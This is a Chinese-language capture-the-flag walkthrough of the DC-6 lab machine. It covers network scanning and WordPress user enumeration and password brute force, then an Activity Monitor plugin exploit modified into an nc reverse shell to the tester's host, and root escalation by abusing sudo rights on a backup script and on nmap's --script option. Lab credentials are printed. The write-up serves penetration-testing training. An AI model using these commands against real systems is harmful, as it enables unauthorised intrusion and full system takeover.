11.100个渗透测试实战#11(DC-6)
世间一切皆可努力
感谢浏览
目录
1.查看kali的网卡信息;(网卡名:eth0,IP地址:192.168.97.129)
3.探测特定网络内的主机存活状态;(netdiscover、arp-scan、nmap)
2.在扫描的同时,访问主页、robots.txt、指纹识别;
8.向backups.sh内写入/bin/bash,尝试执行该脚本;
一、实验环境
-
靶机:DC-6,IP地址:192.168.97.157
-
测试机:kali,IP地址:192.168.97.129
-
测试机:物理机Win10
-
连接方式:VM的NAT
二、实验流程
- 信息收集——主机探测阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口(wpscan**后台页面登录账号)
- 渗透测试——Getshell(利用activity monitor漏洞)
- 渗透测试——本地提权(利用sudo+nmap提权)
- 清楚痕迹,留下后门
三、实验步骤:
(一)信息收集——主机探测阶段
1.查看kali的网卡信息;(网卡名:eth0,IP地址:192.168.97.129)
- ifconfig -a
-a all,所有信息
2.查看靶机的页面;
3.探测特定网络内的主机存活状态;(netdiscover、arp-scan、nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定出口网卡
-r 指定待扫描的网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-s scan,扫描
-P ping扫描,且不进行端口扫描
4.分析所得:
- 靶机:192.168.97.157(wordy)
- 测试机kali:192.168.97.129
(二)信息收集——端口(服务)扫描阶段
1.扫描全端口,服务,靶机运行的操作系统;
- nmap -p- -sV -O -A 192.168.97.157
-p- 扫描全端口
-sV 扫描开启的端口的对应服务
-O 扫描靶机操作系统
-A 扫描靶机操作系统
2.分析所得:
- 扫描全端口,只有两个端口打开;
- 22端口处于open状态,对应开启的服务是ssh;
- 80端口处于open状态,对应开启的服务是http,中间件是Apache;
- 网站的主题是Wordy,CMS应该是WordPress;
- 靶机操作系统是Debian,内核版本处于3.2到4.9之间;
(三)渗透测试——80端口
1.遍历靶机网站的目录;
- dirb http://192.168.97.157 /usr/share/dirb/wordlists/big.txt
如下图所示,扫描到了14个目录
- 遇见扫描
2.在扫描的同时,访问主页、robots.txt、指纹识别;
- 物理机上,火狐访问该主页:http://192.168.97.157
如下图所示,我们的网站被301重定向到了http://wordy,这里我们就需要手动的把IP地址定向到wordy
不知道301和302的点击这里:301与302状态码的介绍
- windows修改:C:\Windows\System32\drivers\etc\hosts文件即可
- 浏览器再次访问:http://192.168.97.157
f12,查看源码,无可用信息
- Wapplyzer指纹识别
- 访问http://wordy/robotx.txt
3.逐个访问,以上扫描的结果;
- 访问http://wordy/readme.html
如下图所示,该页面有登录页面的超链接
点击login_page,跳转到登录页面
- http://wordy/wp-admin/install.php
如下图所示,该页面也可以定向到登陆页面
- http://wordy/wp-admin
如下图所示,该页面也跳转到了登录页
- 其余页面,就是需要认证后再能够访问;还有的只是存在页面,但是实际源代码都是注释,由于php是解释性语言,所以也看不到任何信息
4.分析所得:
- 一个登录页:http://wordy/wp-login.php
- 从这里得到的,无任何的提示(下载靶机的地方,有个提示,用到了字典rockyou.txt)
- 提示内容:
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ?
5.尝试wpscan进行**用户;
- wpscan --url http://wordy -e u
--url 待**的页面URL
-e u **用户名
如下图所示,**出了5个用户
- 把**结果,写入用户名字典:name.dic
6.尝试wpscan暴力**;
- 首先根据作者的提示,创建密码字典:cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
- wpscan --url http://wordy -U name.dic -P passwrods.txt
-U 用户名字典
-P 密码字典
如下图所示,得出账号密码
7.利用**得出的结果,登录后台页面;
- 登录,mark:helpdesk01
如下图所示,发现了Activity monitor插件,kali有相应的远程代码执行漏洞
8.分析所得:
- 登录后台,发现了activity monitor插件,存在rce漏洞;
(四)渗透测试——Getshell
1.kali上利用该插件对应的PoC;
- searchsploit activity monitor wordpress
- searchsploit -m 45274.html
- cat 45274.html 查看exp的使用方法
- 翻译描述信息
如下图所示,只要单击了我的恶意链接即可
- 修改PoC
如下图所示,修改URL为靶机的,修改nc命令为:nc -nv 192.168.97.129 8443 -c bash(IP端口为自己kali的)
- 利用PoC:只要点击了链接即可
第一步:kali侦听 nc -nvlp 8443
第二步:kali打开临时的http server服务,以便浏览器访问:python -m SimpleHTTPServer
第三步:浏览器访问http://192.168.97.129/45274.html,点击Submit request,即可反弹Shell到kali
- 如下图,成功得到shell
2.转换为交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(五)渗透测试——致命连问,进一步信息收集,从而本地提权
1.开始致命连问;
- whoami
- id
- pwd
- ls
- cd ..
- ls -l
- ls /home
- cat /etc/passwd
2.首先探索mark的家目录;
- cd /home/mark
- ls -l
- cd stuff
- cat things-to-do.txt
如下图所示,在mark的家目录发现了graham的密码为:GSo7isUM1D4
3.graham用户家目录为空;
- cd /home/graham
- ls -l
4.jens家目录下有一个脚本;
- cd /home/jens
- ls -l
- cat backups.sh
如下图所示,是sh脚本,用来把网站打包
5.sarah家目录下为空;
- cd /home/sarah
- ls -l
6.分析所得:
- graham:GSo7isUM1D4
- 还有一个脚本
7.切换用户,继续信息收集,试试能不能利用到这个脚本;
- su graham,切换用户
- sudo -l
如下图所示,发现我们有jens的sudo权限,且空密码,就可以执行脚本backups.sh
8.向backups.sh内写入/bin/bash,尝试执行该脚本;
- cd /home/jens
- echo "/bin/bash" >> backups.sh (写入bash)
- cat backups.sh
- sudo -u jens ./backups.sh
- ls
- sudo -l
如下图所示,发现我们有root的sudo权限,且空密码,就可以执行/usr/bin/nmap命令
9.利用nmap,提权;
- nmap -h
如下图所示,发现我们可以利用--script参数执行脚本
- 构造脚本,pr
cd /tmp
touch pr
echo 'os.execute("/bin/sh")' > pr
- 使用sudo命令,以root权限执行该脚本
sudo nmap --script=pr
10.进入root家目录,获取flag;
- cd /root
- ls
- cat theflag.txt